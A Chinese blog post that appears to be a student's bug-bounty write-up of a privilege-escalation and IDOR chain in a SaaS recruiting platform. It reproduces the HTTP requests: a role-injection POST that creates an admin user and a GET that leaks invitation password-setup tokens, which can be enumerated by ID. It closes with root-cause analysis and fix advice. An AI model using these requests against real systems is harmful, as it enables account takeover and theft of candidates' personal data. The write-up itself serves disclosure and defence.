【实战复盘】从“普通员工”到“全租户主宰”:API 权限校验逻辑的深度崩塌

0x01 故事背景

大家在投简历或入职时,应该都接触过 ATS(申请人追踪系统)。这类系统是招聘环节的核心,存储了大量的候选人 PII(个人隐私信息)、公司内部招聘计划、甚至是敏感的 API Key。

最近在一次私密众测中,我盯上了一个基于 SaaS 架构的知名招聘管理平台。作为一个初出茅庐、对 Web 安全充满好奇的大学生,我拿到了一个权限极低的普通成员账号。本以为这种成熟平台的权限校验应该是固若金汤,但在深挖其 API 逻辑时,我发现了一个足以让整个多租户架构崩溃的“权限黑洞”。

0x02 信息收集

在对系统后台进行常规抓包时,我重点观察了用户管理模块。
通常情况下,只有“超级管理员(Admin)”才有资格邀请新成员入职。但我发现,当我以普通用户身份尝试触发邀请逻辑时,系统发送了一个标准的 RESTful 请求:

POST /api/v1/companies/[COMPANY_ID]/users

那一刻,我的职业直觉(也就是那种“不试一下不舒服”的极客心态)被点燃了:如果我在这个请求的 JSON Payload 里强行注入一个敏感参数,服务端会怎么反应

0x03 漏洞利用

这部分是整场测试的灵魂,逻辑链条环环相扣,展示了权限校验是如何一步步形同虚设的。

第一步:越权创建 Admin 角色(CWE-862)

我构造了一个越权请求包,尝试给自己创建一个具有最高权限的角色。

请求包(脱敏版):

POST /app/companies/B4h-aSrUeJk/api/users HTTP/1.1
Host: tt.xxx.com
Cookie: ember_session=KbzKZZ2vVCYg1AcPsADEJTT7
Accept: application/vnd.api+json
Content-Type: application/json
X-Requested-With: XMLHttpRequest

{"user":{"email":"ato-poc@test.com","invite_email":"ato-poc@test.com","name":"ATO PoC","first_name":"ATO","last_name":"PoC","role":"admin"}}

逻辑转变: 正常情况下,后端应该拦截非 Admin 用户的角色定义行为。然而,系统竟然返回了 201 Created!响应包显示:user_id: 182 创建成功,并关联了一个 invitation_id: 122。

第二步:IDOR 读取邀请 Token(CWE-639)

虽然账号建好了,但我作为攻击者还没拿到设置密码的链接(链接通常发往测试邮箱)。为了绕过邮箱验证,我瞄准了另一个接口:/api/user_invitations/[ID]。

我尝试直接访问刚才生成的邀请 ID:

GET /app/companies/B4h-aSrUeJk/api/user_invitations/122 HTTP/1.1
Host: tt.xxx.com
Cookie: ember_session=KbzKZZ2vVCYg1AcPsADEJTT7
Accept: application/vnd.api+json
Content-Type: application/json
X-Requested-With: XMLHttpRequest

结果令我脊背发凉: 服务器不仅返回了邀请状态,竟然在响应体里完整泄露了带有修改密码 Token 的邀请链接

{
  "user_invitation": {
    "id": "122",
    "invitation_url": "https://target-platform.com/setup?token=SECRET_TOKEN_XYZ",
    "user_id": 182
  }
}

第三步:完成接管,枚举全平台

有了这个 invitation_url,我无需经过邮件确认,就能直接跳转到密码设置页面,瞬间激活刚才创建的 Admin 账号。

页面显示 “Invited to join YWH-test-company-eu-5″,可点击 “Log out” 后以新账户设置密码并登录

邀请链接有效,新用户可通过此链接设置密码并以admin 角色登录系统

更严重的是,由于邀请 ID 是自增的整数,我只需要写一个简单的脚本,就能遍历(Enumeration)该租户下所有“待激活”的邀请链接。这意味着我可以劫持任何一个新入职高管或 HR 的账号。


0x04 漏洞影响

这种组合漏洞在 SaaS 环境下的破坏力是巨大的:

  1. 纵向提权:任何低权限员工都能瞬间晋升为“上帝模式”。
  2. 横向接管:通过 IDOR 批量窃取尚未激活的邀请链接,接管核心人员账号。
  3. 数据裸奔:获取 Admin 权限后,平台内成千上万名候选人的隐私、内部面试评价、企业 API 密钥等核心资产将一览无余。

0x05 防御与反思

作为一名热爱网络安全的大学生,我一直在思考,这类“低级”逻辑错误为何层出不穷?根源在于**“信任了不该信任的输入”以及“权限校验不够细粒度”**。

Root Cause:

  • 输入过滤不严:后端未对 role 字段进行基于身份的强约束。
  • 敏感数据泄露:API 响应过于“慷慨”,将不应展示给第三方的 Token 包含在 GET 请求中。

修复建议:

  • 强制 RBAC 校验:在任何增删改查接口处,服务端必须严格校验当前 Session 的角色是否有权操作目标对象。
  • 对象级权限控制 (BOLA/IDOR 防御):在通过 ID 访问资源时,必须验证该资源是否属于当前请求者的授权范围。
  • 凭证脱敏:敏感的激活、重置链接绝不能通过 API 返回,应仅限于通过受信任的通信渠道(如加密邮件)发送。

结语

逻辑漏洞的魅力就在于,它不需要多么高深的 Payload,更多的是对业务流程的深度洞察。希望这次分享能给大家带来启发,代码千万行,安全第一行!


发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注